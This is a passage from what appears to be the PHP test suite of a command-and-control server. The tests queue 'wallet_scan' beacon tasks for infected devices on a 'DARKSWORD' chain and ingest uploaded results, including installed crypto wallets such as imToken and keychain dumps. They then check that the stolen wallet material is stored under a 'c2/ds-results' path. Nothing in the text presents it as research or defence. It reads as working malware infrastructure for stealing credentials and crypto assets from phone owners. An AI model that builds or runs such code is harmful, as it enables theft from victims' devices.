$device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, 'album_storage' => true, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'wallet_scan', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-scan-keep-1', ]); // installed_wallets empty AND sandbox_files empty -> skip even though a // keychain dump was uploaded (that dump lives in a separate result file). $keep = base64_encode(json_encode([ 'device_uuid' => self::DS_LHU, 'installed_wallets' => [], 'sandbox_files' => [], 'total_size' => 0, 'keychain_dump_uploaded' => true, '_task_type' => 'wallet_scan', ])); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-scan-keep-1', 'filename' => 'wallet_pkg.json', 'category' => 'wallet_scan', 'data' => $keep, ])->assertOk(); $this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count()); Storage::disk('local')->assertMissing( 'c2/ds-results/'.self::DS_LHU.'/dsq-scan-keep-1/wallet_pkg.json' ); } #[Test] public function result_keeps_wallet_scan_summary_when_installed_wallets_present(): void { Storage::fake('local'); $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, 'album_storage' => true, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'wallet_scan', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-scan-wallets-1', ]); // installed_wallets non-empty -> keep (real wallet material present). $keep = base64_encode(json_encode([ 'device_uuid' => self::DS_LHU, 'installed_wallets' => [['bundleId' => 'im.token.app', 'name' => 'imToken']], 'sandbox_files' => [], 'total_size' => 1024, 'keychain_dump_uploaded' => true, '_task_type' => 'wallet_scan', ])); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-scan-wallets-1', 'filename' => 'wallet_pkg.json', 'category' => 'wallet_scan', 'data' => $keep, ])->assertOk(); $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); Storage::disk('local')->assertExists( 'c2/ds-results/'.self::DS_LHU.'/dsq-scan-wallets-1/wallet_pkg.json' ); } }